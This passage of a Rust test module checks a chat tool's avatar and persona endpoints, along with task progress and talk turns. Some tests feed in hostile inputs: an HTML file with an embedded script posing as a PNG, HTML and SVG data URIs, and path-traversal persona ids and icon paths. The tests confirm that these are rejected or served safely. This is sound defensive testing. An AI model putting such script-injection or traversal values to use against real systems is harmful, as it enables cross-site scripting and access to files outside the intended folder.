14338        assert!(notice_markdown(talk::Sender::Operator, &body, Some(&display)).is_none());
14339        assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
14340        assert_eq!(
14341            notice_markdown(talk::Sender::Magi, "magi: # Status", None).unwrap(),
14342            md::to_nodes("# Status", &md::ImageBase::None),
14343        );
14344    }
14345
14346    #[tokio::test]
14347    async fn notification_display_recovers_exact_legacy_completion_references() {
14348        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14349        let mut conversation = ui.talks.get(&id).unwrap();
14350        let (body, display) = crate::prompt::chat_task_report(&crate::prompt::ChatTaskNotice {
14351            id: "task-123",
14352            title: "Change",
14353            status: "done",
14354            reason: None,
14355            run: Some("run-123"),
14356            pr: None,
14357            summary: Some("Merge state unknown"),
14358        });
14359        talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
14360        conversation.turns[0].sender = None;
14361        conversation.turns[0].messages.clear();
14362        conversation.turns[0].breaks = None;
14363        conversation.pending = body.clone();
14364        conversation
14365            .completion_notices
14366            .push(crate::chat_notify::CompletionReference {
14367                task: "task-123".into(),
14368                run: Some("run-123".into()),
14369                notice: body.clone(),
14370            });
14371        ui.talks.put(&mut conversation).unwrap();
14372        let view = TalkView::with_config(
14373            ui.talks.get(&id).unwrap(),
14374            false,
14375            None,
14376            &ui.home,
14377            &ui.references,
14378        );
14379        assert_eq!(
14380            view.talk.turns[0].messages[0].display,
14381            Some(display.clone())
14382        );
14383        assert_eq!(view.talk.pending_messages[0].display, Some(display));
14384        assert_eq!(
14385            view.talk.turns[0].messages[0].sender,
14386            Some(talk::Sender::Magi)
14387        );
14388        assert!(ui.talks.get(&id).unwrap().turns[0].messages.is_empty());
14389        conversation.completion_notices[0]
14390            .notice
14391            .push_str("different");
14392        let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
14393        assert!(view.talk.turns[0].messages.is_empty());
14394        assert!(view.talk.pending_messages.is_empty());
14395    }
14396
14397    #[tokio::test]
14398    async fn avatar_settings_report_states_and_inherit_after_corruption() {
14399        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
14400        let (_tmp, home, ui, _, _) = avatar_fixture(&format!(
14401            "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n"
14402        ))
14403        .await;
14404        let path = avatar_setting_path(home.path(), Some("rei"));
14405        let orphan = avatar_setting_path(home.path(), Some("removed"));
14406        save_icon_file(&orphan, icon).unwrap();
14407        for (saved, expected) in [
14408            (icon, "custom"),
14409            ("builtin", "builtin"),
14410            ("data:image/png;base64,!!!!", "inherit"),
14411            ("data:image/png;base64,PGh0bWw+", "inherit"),
14412            ("/tmp/avatar.png", "inherit"),
14413        ] {
14414            atomic_icon_write(&path, saved).unwrap();
14415            let catalog =
14416                avatar_settings_get(State(ui.clone()), Query(AvatarSettingsQuery::default()))
14417                    .await
14418                    .unwrap()
14419                    .0;
14420            let personas = catalog["personas"].as_array().unwrap();
14421            let rei = personas.iter().find(|p| p["id"] == "rei").unwrap();
14422            assert_eq!(rei["override_state"], expected);
14423            assert_eq!(rei["has_config_icon"], true);
14424            assert_eq!(rei["is_orphan"], false);
14425            let removed = personas.iter().find(|p| p["id"] == "removed").unwrap();
14426            assert_eq!(removed["override_state"], "custom");
14427            assert_eq!(removed["is_orphan"], true);
14428            let default = personas.iter().find(|p| p["id"] == "default").unwrap();
14429            assert_eq!(default["override_state"], "inherit");
14430            assert_eq!(default["has_config_icon"], false);
14431            let effective = effective_persona_icon(home.path(), "rei", Some(icon));
14432            assert_eq!(
14433                effective.as_deref(),
14434                Some(if expected == "builtin" { "" } else { icon })
14435            );
14436        }
14437    }
14438
14439    #[tokio::test]
14440    async fn avatar_settings_persist_reset_isolate_and_reject_invalid_images() {
14441        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
14442        let (_tmp, home, ui, id, repo) = avatar_fixture(&format!(
14443            "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n\n[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Stay concise\"\n"
14444        ))
14445        .await;
14446        let target = |id: Option<&str>| AvatarSettingsQuery {
14447            persona: id.map(str::to_owned),
14448            ..Default::default()
14449        };
14450        let original_config = config_for(&repo).await.unwrap();
14451        let original_persona = persona::find(&original_config.talk.personas, "rei").unwrap();
14452        let original_prompt = persona::section_for(&original_persona, None);
14453        let before = talk_detail(State(ui.clone()), Path(id.clone()))
14454            .await
14455            .unwrap()
14456            .0;
14457        for persona in [None, Some("rei"), Some("magi"), Some("../custom/日本語")] {
14458            let _ = avatar_settings_put(
14459                State(ui.clone()),
14460                Query(target(persona)),
14461                Json(MagiIconUpload { icon: icon.into() }),
14462            )
14463            .await
14464            .unwrap();
14465            let path = avatar_setting_path(home.path(), persona);
14466            assert!(path.starts_with(home.path().join("avatars")));
14467            assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
14468            for bad in [
14469                "/tmp/image.png".to_owned(),
14470                "data:image/png;base64,!!!!".to_owned(),
14471                "data:image/png;base64,PGh0bWw+".to_owned(),
14472                "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
14473                format!(
14474                    "data:image/png;base64,{}",
14475                    "A".repeat(persona_icon::ICON_MAX_BYTES)
14476                ),
14477            ] {
14478                assert!(
14479                    avatar_settings_put(
14480                        State(ui.clone()),
14481                        Query(target(persona)),
14482                        Json(MagiIconUpload { icon: bad })
14483                    )
14484                    .await
14485                    .is_err()
14486                );
14487                assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
14488            }
14489        }
14490        assert!(read_magi_icon(home.path()).is_none());
14491        assert!(effective_persona_icon(home.path(), "asuka", None).is_none());
14492        let after = talk_detail(State(ui.clone()), Path(id.clone()))
14493            .await
14494            .unwrap()
14495            .0;
14496        assert_ne!(before.view.operator_avatar, after.view.operator_avatar);
14497        assert_ne!(
14498            before
14499                .personas
14500                .iter()
14501                .find(|p| p.id == "magi")
14502                .unwrap()
14503                .avatar,
14504            after
14505                .personas
14506                .iter()
14507                .find(|p| p.id == "magi")
14508                .unwrap()
14509                .avatar
14510        );
14511        let restarted = Arc::new(Ui::new(
14512            Queue::at(home.path().join("queue")),
14513            Questions::at(home.path().join("questions")),
14514            Talks::at(home.path().join("talks")),
14515            home.path().join("runs"),
14516            home.path().to_owned(),
14517            repo,
14518        ));
14519        let catalog = avatar_settings_get(State(restarted.clone()), Query(target(None)))
14520            .await
14521            .unwrap()
14522            .0;
14523        assert!(
14524            catalog["personas"]
14525                .as_array()
14526                .unwrap()
14527                .iter()
14528                .any(|p| p["id"] == "../custom/日本語")
14529        );
14530        for expected in ["custom", "default", "rei"] {
14531            assert!(
14532                catalog["personas"]
14533                    .as_array()
14534                    .unwrap()
14535                    .iter()
14536                    .any(|p| p["id"] == expected)
14537            );
14538        }
14539        let response =
14540            operator_avatar(State(restarted.clone()), Query(AvatarQuery::default())).await;
14541        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
14542        let _ = avatar_settings_delete(State(restarted.clone()), Query(target(Some("rei"))))
14543            .await
14544            .unwrap();
14545        assert_eq!(
14546            effective_persona_icon(home.path(), "rei", Some(icon)),
14547            Some(String::new())
14548        );
14549        let response = talk_avatar(
14550            State(restarted.clone()),
14551            Path(id.clone()),
14552            Query(AvatarQuery {
14553                persona: Some("rei".into()),
14554                ..Default::default()
14555            }),
14556        )
14557        .await
14558        .unwrap();
14559        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/svg+xml");
14560        let reset = talk_detail(State(restarted.clone()), Path(id.clone()))
14561            .await
14562            .unwrap()
14563            .0;
14564        assert_ne!(
14565            after
14566                .personas
14567                .iter()
14568                .find(|p| p.id == "rei")
14569                .unwrap()
14570                .avatar,
14571            reset
14572                .personas
14573                .iter()
14574                .find(|p| p.id == "rei")
14575                .unwrap()
14576                .avatar
14577        );
14578        let mut inherit = target(Some("rei"));
14579        inherit.inherit = Some("1".into());
14580        let _ = avatar_settings_delete(State(restarted.clone()), Query(inherit))
14581            .await
14582            .unwrap();
14583        assert_eq!(
14584            effective_persona_icon(home.path(), "rei", Some(icon)).as_deref(),
14585            Some(icon)
14586        );
14587        let _ = avatar_settings_delete(State(restarted.clone()), Query(target(None)))
14588            .await
14589            .unwrap();
14590        assert_eq!(operator_icon_url(home.path()), before.view.operator_avatar);
14591        assert_eq!(
14592            read_icon_file(&avatar_setting_path(home.path(), Some("magi"))).as_deref(),
14593            Some(icon)
14594        );
14595        // Display changes never rewrite the conversation or its prompt-bearing config.
14596        let cfg = config_for(&ui.repo).await.unwrap();
14597        let resolved = persona::find(&cfg.talk.personas, "rei").unwrap();
14598        assert_eq!(persona::section_for(&resolved, None), original_prompt);
14599        assert!(!original_prompt.contains("data:image"));
14600        assert_eq!(ui.talks.get(&id).unwrap().persona, before.view.talk.persona);
14601        let stored = serde_json::to_string(&ui.talks.get(&id).unwrap()).unwrap();
14602        assert!(!stored.contains("data:image"));
14603        let mut orphan = ui.talks.get(&id).unwrap();
14604        orphan.persona = "../custom/日本語".into();
14605        let view = TalkView::with_config(
14606            orphan,
14607            false,
14608            Some(&cfg),
14609            home.path(),
14610            &id_links::IndexCache::default(),
14611        );
14612        assert!(view.persona_avatar.contains("persona=..%2Fcustom%2F"));
14613    }
14614
14615    #[tokio::test]
14616    async fn magi_icon_saves_resets_revalidates_and_refreshes_cache() {
14617        let (_tmp, home, ui, id, repo) = avatar_fixture("").await;
14618        let original = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
14619        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
14620        let _ = magi_icon_put(
14621            State(ui.clone()),
14622            Json(MagiIconUpload { icon: icon.into() }),
14623        )
14624        .await
14625        .unwrap();
14626        let changed = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
14627        assert_ne!(original, changed);
14628        assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
14629        let response = magi_avatar(
14630            State(ui.clone()),
14631            Query(AvatarQuery {
14632                persona: None,
14633                builtin: None,
14634            }),
14635        )
14636        .await;
14637        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
14638        assert_eq!(response.headers()[header::CACHE_CONTROL], "no-cache");
14639        assert_eq!(
14640            response.headers()[header::X_CONTENT_TYPE_OPTIONS],
14641            "nosniff"
14642        );
14643        for bad in [
14644            "data:image/png;base64,PGh0bWw+".to_owned(),
14645            "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
14646            "A".repeat(persona_icon::ICON_MAX_BYTES + 1),
14647        ] {
14648            assert!(save_magi_icon(home.path(), &bad).is_err());
14649            assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
14650        }
14651        // Re-opened server state reads the same independent home file.
14652        let restarted = Arc::new(Ui::new(
14653            Queue::at(home.path().join("queue")),
14654            Questions::at(home.path().join("questions")),
14655            Talks::at(home.path().join("talks")),
14656            home.path().join("runs"),
14657            home.path().to_path_buf(),
14658            repo,
14659        ));
14660        assert_eq!(
14661            magi_icon_get(State(restarted.clone())).await.0["avatar"],
14662            changed
14663        );
14664        let view = TalkView::with_config(
14665            restarted.talks.get(&id).unwrap(),
14666            false,
14667            None,
14668            &restarted.home,
14669            &restarted.references,
14670        );
14671        assert_eq!(view.magi_avatar, changed.as_str().unwrap());
14672        std::fs::write(magi_icon_path(home.path()), "invalid").unwrap();
14673        let response = magi_avatar(
14674            State(ui.clone()),
14675            Query(AvatarQuery {
14676                persona: None,
14677                builtin: None,
14678            }),
14679        )
14680        .await;
14681        let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
14682            .await
14683            .unwrap();
14684        assert_eq!(bytes.as_ref(), persona_icon::magi_svg().as_bytes());
14685        let _ = magi_icon_delete(State(ui.clone())).await.unwrap();
14686        assert_eq!(magi_icon_get(State(ui.clone())).await.0["avatar"], original);
14687        let _ = magi_icon_delete(State(ui)).await.unwrap();
14688    }
14689
14690    /// `(status, content-type, nosniff, csp, body)` of one avatar request.
14691    async fn avatar(
14692        ui: &Arc<Ui>,
14693        id: &str,
14694        persona: Option<&str>,
14695        builtin: bool,
14696    ) -> (StatusCode, String, bool, bool, Vec<u8>) {
14697        let res = talk_avatar(
14698            State(Arc::clone(ui)),
14699            Path(id.to_owned()),
14700            Query(AvatarQuery {
14701                persona: persona.map(str::to_owned),
14702                builtin: builtin.then(|| "1".to_owned()),
14703            }),
14704        )
14705        .await
14706        .expect("an avatar is never an error response");
14707        let h = res.headers();
14708        let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
14709        let nosniff = h
14710            .get(header::X_CONTENT_TYPE_OPTIONS)
14711            .is_some_and(|v| v == "nosniff");
14712        let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
14713        let status = res.status();
14714        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
14715            .await
14716            .expect("body")
14717            .to_vec();
14718        (status, ct, nosniff, csp, body)
14719    }
14720
14721    fn tiny_png() -> Vec<u8> {
14722        let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
14723        b.extend_from_slice(&[0u8; 32]);
14724        b
14725    }
14726
14727    #[tokio::test]
14728    async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
14729        let (_tmp, _home, ui, _id, _repo) = avatar_fixture("").await;
14730        let res = operator_avatar(State(ui), Query(AvatarQuery::default())).await;
14731        assert_eq!(res.status(), StatusCode::OK);
14732        assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
14733        assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
14734        assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
14735        assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
14736        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
14737            .await
14738            .unwrap();
14739        assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
14740        assert_ne!(
14741            persona_icon::operator_svg(),
14742            persona_icon::builtin_svg("default")
14743        );
14744    }
14745
14746    #[tokio::test]
14747    async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
14748        let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
14749        for p in [
14750            "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
14751        ] {
14752            let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
14753            assert_eq!(status, StatusCode::OK, "{p}");
14754            assert_eq!(ct, "image/svg+xml", "{p}");
14755            assert!(nosniff && csp, "{p}");
14756            assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
14757        }
14758        // No `persona` means the conversation's own; unknown ones fall back.
14759        let own = avatar(&ui, &id, None, false).await;
14760        let default = avatar(&ui, &id, Some("default"), false).await;
14761        assert_eq!(own.4, default.4);
14762        let unknown = avatar(&ui, &id, Some("nobody"), false).await;
14763        assert_eq!(unknown.1, "image/svg+xml");
14764    }
14765
14766    #[tokio::test]
14767    async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
14768        let dir = TempDir::new().expect("icons");
14769        let good = dir.path().join("good.png");
14770        std::fs::write(&good, tiny_png()).unwrap();
14771        let spoof = dir.path().join("spoof.png");
14772        std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
14773        let big = dir.path().join("big.png");
14774        let mut bytes = tiny_png();
14775        bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
14776        std::fs::write(&big, bytes).unwrap();
14777        let missing = dir.path().join("missing.png");
14778        let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
14779        let extra = format!(
14780            "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
14781             [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
14782             [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
14783             [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
14784             [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
14785             [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
14786            uri(&good),
14787            uri(&spoof),
14788            uri(&big),
14789            uri(&missing),
14790        );
14791        let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
14792
14793        let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
14794        assert_eq!(
14795            (status, ct.as_str(), nosniff),
14796            (StatusCode::OK, "image/png", true)
14797        );
14798        assert_eq!(body, tiny_png());
14799        let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
14800        assert_eq!(ct, "image/png", "data URI");
14801
14802        for p in ["misato", "asuka", "shinji", "magi"] {
14803            let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
14804            assert_eq!(
14805                (status, ct.as_str(), csp),
14806                (StatusCode::OK, "image/svg+xml", true),
14807                "{p}"
14808            );
14809            assert!(body.starts_with(b"<svg"), "{p}");
14810        }
14811        // The page's own retry skips the icon.
14812        let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
14813        assert_eq!(ct, "image/svg+xml");
14814    }
14815
14816    #[tokio::test]
14817    async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
14818        let oversized = format!(
14819            "data:image/png;base64,{}",
14820            "A".repeat(persona_icon::ICON_MAX_BYTES)
14821        );
14822        for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
14823            let extra = format!(
14824                "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
14825            );
14826            let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
14827            let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14828                .await
14829                .expect("detail with invalid icon");
14830            assert!(detail.personas.iter().any(|p| p.id == "custom"));
14831            let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
14832            assert_eq!(status, StatusCode::OK);
14833            assert_eq!(ct, "image/svg+xml");
14834            assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
14835            let Json(view) = talk_persona(
14836                State(Arc::clone(&ui)),
14837                Path(id.clone()),
14838                Json(TalkPersona {
14839                    persona: "custom".into(),
14840                }),
14841            )
14842            .await
14843            .expect("persona switch with invalid icon");
14844            assert_eq!(view.talk.persona, "custom");
14845            assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
14846        }
14847    }
14848
14849    #[tokio::test]
14850    async fn an_unreadable_config_still_gets_the_builtin_avatar() {
14851        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
14852        std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
14853        let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
14854        assert_eq!(
14855            (status, ct.as_str(), nosniff, csp),
14856            (StatusCode::OK, "image/svg+xml", true, true)
14857        );
14858    }
14859
14860    #[tokio::test]
14861    async fn the_talk_view_carries_server_built_avatar_urls_only() {
14862        let (_t, _h, ui, id, _repo) =
14863            avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
14864        let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14865            .await
14866            .expect("detail");
14867        let json = serde_json::to_string(&detail).unwrap();
14868        assert!(
14869            !json.contains("secret"),
14870            "the icon setting must not leak: {json}"
14871        );
14872        assert!(
14873            detail
14874                .view
14875                .persona_avatar
14876                .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
14877        );
14878        assert_eq!(
14879            detail.view.operator_avatar,
14880            format!(
14881                "/avatars/operator.svg?v={}",
14882                persona_icon::fingerprint(Some(persona_icon::operator_svg()))
14883            )
14884        );
14885        assert!(!detail.personas.iter().any(|p| p.id == "operator"));
14886        let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
14887        let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
14888        assert!(rei.avatar.contains("persona=rei&v="));
14889        assert_ne!(
14890            rei.avatar.split("&v=").nth(1),
14891            plain.avatar.split("&v=").nth(1)
14892        );
14893    }
14894
14895    #[tokio::test]
14896    async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
14897        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
14898        let cfg = config_for(&repo).await.unwrap();
14899        for arrived in [false, true] {
14900            let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
14901            let observed = ui.queued_generation(&id);
14902            let talk = ui.talks.get(&id).unwrap();
14903            if arrived {
14904                assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
14905            }
14906            let mut settling = std::pin::pin!(settle_settings_turn(
14907                talk,
14908                ui.talks.clone(),
14909                cfg.clone(),
14910                id.clone(),
14911                turn,
14912                observed
14913            ));
14914            let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
14915            let first = std::future::Future::poll(settling.as_mut(), &mut cx);
14916            assert_eq!(first.is_pending(), arrived);
14917            if arrived {
14918                assert!(!settling.await);
14919            }
14920            assert!(!ui.is_thinking(&id));
14921        }
14922    }
14923
14924    #[tokio::test]
14925    async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
14926        let tmp = TempDir::new().expect("tempdir");
14927        let repo = tmp.path().join("repo");
14928        std::fs::create_dir_all(&repo).expect("repo dir");
14929        std::fs::write(
14930            repo.join("magi.toml"),
14931            format!(
14932                "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
14933            ),
14934        )
14935        .expect("write magi.toml");
14936        let home = TempDir::new().expect("temp home");
14937        let talks = Talks::at(home.path().join("talks"));
14938        let ui = Arc::new(
14939            Ui::new(
14940                Queue::at(home.path().join("queue")),
14941                Questions::at(home.path().join("questions")),
14942                talks.clone(),
14943                home.path().join("runs"),
14944                home.path().to_path_buf(),
14945                repo.clone(),
14946            )
14947            .with_worktrees_root(home.path().join("wt")),
14948        );
14949        let cfg = config_for(&repo).await.expect("discover config");
14950        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14951        let id = talk.id.clone();
14952        let call = |persona: &str| {
14953            talk_persona(
14954                State(Arc::clone(&ui)),
14955                Path(id.clone()),
14956                Json(TalkPersona {
14957                    persona: persona.to_owned(),
14958                }),
14959            )
14960        };
14961
14962        let unknown = call("nobody").await.expect_err("unknown persona");
14963        assert_eq!(
14964            unknown.status,
14965            StatusCode::BAD_REQUEST,
14966            "{}",
14967            unknown.message
14968        );
14969
14970        {
14971            // Nothing refused so far took a claim, so the guard is free to take
14972            // and holding it is what makes the talk busy.
14973            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
14974            let busy = call("rei").await.expect_err("busy talk");
14975            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
14976            assert!(
14977                busy.message.contains("a talk turn is running"),
14978                "{}",
14979                busy.message
14980            );
14981            drop(guard);
14982        }
14983        assert_eq!(talks.get(&id).expect("reload").persona, "");
14984
14985        let Json(view) = call("gendo").await.expect("switch to a configured persona");
14986        assert_eq!(view.talk.persona, "gendo");
14987        assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
14988        assert!(!ui.is_thinking(&id), "idle response must release the claim");
14989        // No intervening I/O or sleep may be needed before another change.
14990        for chosen in ["default", "gendo", "rei", "gendo"] {
14991            let Json(view) = call(chosen).await.expect("immediate consecutive change");
14992            assert!(!view.thinking);
14993            assert!(!ui.is_thinking(&id));
14994        }
14995
14996        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14997            .await
14998            .expect("detail");
14999        let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
15000        assert_eq!(ids.first(), Some(&"default"));
15001        assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
15002
15003        let Json(view) = call("default").await.expect("back to default");
15004        assert_eq!(view.talk.persona, "");
15005
15006        let mut closed = talks.get(&id).expect("reload");
15007        talk::close(&mut closed, &talks).expect("close");
15008        let refused = call("rei").await.expect_err("closed talk");
15009        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
15010        assert!(
15011            refused.message.contains("takes no more turns"),
15012            "{}",
15013            refused.message
15014        );
15015    }
15016
15017    #[tokio::test]
15018    async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
15019        let f = Fixture::start().await;
15020        let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
15021        let queue = f.queue();
15022        let mut mine = Task::new(
15023            "rename the loader".to_owned(),
15024            "rename the loader".to_owned(),
15025            PathBuf::from("/repo/magi"),
15026            Source::Agent {
15027                run: talk_id.clone(),
15028                node: "chat".to_owned(),
15029            },
15030        );
15031        let empty = f.get(&format!("/api/talks/{talk_id}")).await.json();
15032        assert_eq!(empty["task_progress"]["state"], "none");
15033        assert_eq!(empty["task_progress"]["total"], 0);
15034        queue.put(&mut mine).expect("file the task");
15035        let mut theirs = Task::new(
15036            "unrelated".to_owned(),
15037            "unrelated".to_owned(),
15038            PathBuf::from("/repo/magi"),
15039            Source::Human,
15040        );
15041        // A later task linked through origin_chat alone is outside this list.
15042        theirs.origin_chat = Some(talk_id.clone());
15043        queue.put(&mut theirs).expect("file the task");
15044
15045        let res = f.get(&format!("/api/talks/{talk_id}")).await;
15046        assert_eq!(res.status, 200, "{}", res.body);
15047        let body = res.json();
15048        assert_eq!(
15049            body["status"], "open",
15050            "filing a task does not close a talk"
15051        );
15052        let tasks = body["tasks"].as_array().expect("tasks array");
15053        assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
15054        assert_eq!(tasks[0]["id"], mine.id);
15055        for status in [
15056            TaskStatus::Queued,
15057            TaskStatus::Running,
15058            TaskStatus::Held,
15059            TaskStatus::Failed,
15060            TaskStatus::Blocked,
15061            TaskStatus::Parked,
15062            TaskStatus::Done,
15063            TaskStatus::Queued,
15064        ] {
15065            mine.status = status;
15066            queue.put(&mut mine).expect("update status");
15067            let detail = f.get(&format!("/api/talks/{talk_id}")).await.json();
15068            let progress = &detail["task_progress"];
15069            assert_eq!(progress["total"], 1);
15070            assert_eq!(progress["counts"][status.as_str()], 1);
15071            assert_eq!(detail["tasks"][0]["status"], status.as_str());
15072            assert_eq!(detail["status"], "open", "completion never closes the chat");
15073            if status == TaskStatus::Done {
15074                assert_eq!(progress["state"], "complete");
15075                assert_eq!(progress["done"], 1);
15076                assert_eq!(progress["unfinished_ids"], serde_json::json!([]));
15077            } else {
15078                assert_eq!(progress["state"], "incomplete");
15079                assert_eq!(progress["done"], 0);
15080                assert_eq!(progress["unfinished_ids"], serde_json::json!([mine.id]));
15081            }
15082        }
15083    }
15084
15085    #[test]
15086    fn talk_task_progress_counts_mixed_statuses() {
15087        let mut tasks: Vec<_> = [
15088            TaskStatus::Queued,
15089            TaskStatus::Running,
15090            TaskStatus::Held,
15091            TaskStatus::Failed,
15092            TaskStatus::Blocked,
15093            TaskStatus::Parked,
15094            TaskStatus::Done,
15095        ]
15096        .into_iter()
15097        .map(|status| {
15098            let mut task = Task::new(
15099                "task".into(),
15100                "task".into(),
15101                PathBuf::from("/repo"),
15102                Source::Human,
15103            );
15104            task.status = status;
15105            task
15106        })
15107        .collect();
15108        let progress = talk_task_progress(&tasks);
15109        assert_eq!(progress.state, "incomplete");
15110        assert_eq!(progress.total, 7);
15111        assert_eq!(progress.done, 1);
15112        assert_eq!(progress.unfinished_ids.len(), 6);
15113        assert!(progress.counts.values().all(|count| *count == 1));
15114        assert_eq!(
15115            progress.unfinished_ids,
15116            tasks[..6]
15117                .iter()
15118                .map(|task| task.id.clone())
15119                .collect::<Vec<_>>()
15120        );
15121
15122        for task in &mut tasks {
15123            task.status = TaskStatus::Done;
15124        }
15125        let complete = talk_task_progress(&tasks);
15126        assert_eq!(complete.state, "complete");
15127        assert_eq!(complete.done, 7);
15128        assert!(complete.unfinished_ids.is_empty());
15129        tasks[0].status = TaskStatus::Queued;
15130        let requeued = talk_task_progress(&tasks);
15131        assert_eq!(requeued.state, "incomplete");
15132        assert_eq!(requeued.done, 6);
15133        assert_eq!(requeued.unfinished_ids, vec![tasks[0].id.clone()]);
15134
15135        let empty = talk_task_progress(&[]);
15136        assert_eq!(empty.state, "none");
15137        assert_eq!(empty.total, 0);
15138        assert_eq!(empty.done, 0);
15139        assert!(empty.unfinished_ids.is_empty());
15140        assert!(empty.counts.values().all(|count| *count == 0));
15141    }
15142
15143    #[tokio::test]
15144    async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
15145        let (_tmp, _repo, f) = talk_fixture().await;
15146        let id = f.post("/api/talks", None).await.json()["id"]
15147            .as_str()
15148            .expect("id")
15149            .to_owned();
15150
15151        let res = f
15152            .post(
15153                &format!("/api/talks/{id}/say"),
15154                Some(r#"{"text":"what does the queue module do?"}"#),
15155            )
15156            .await;
15157        assert_eq!(res.status, 202, "{}", res.body);
15158        let queued = res.json();
15159        let turns = queued["turns"].as_array().expect("turns array");
15160        assert_eq!(
15161            turns.len(),
15162            1,
15163            "the answer reflects only what is on disk the instant it is sent, \
15164             before the agent's turn - which can run for the whole of \
15165             `[graph] timeout_talk` - has a chance to land: {queued}"
15166        );
15167        assert_eq!(turns[0]["who"], "operator");
15168        assert_eq!(turns[0]["body"], "what does the queue module do?");
15169        assert_eq!(
15170            queued["thinking"], true,
15171            "the accepted response exposes the background turn claim: {queued}"
15172        );
15173
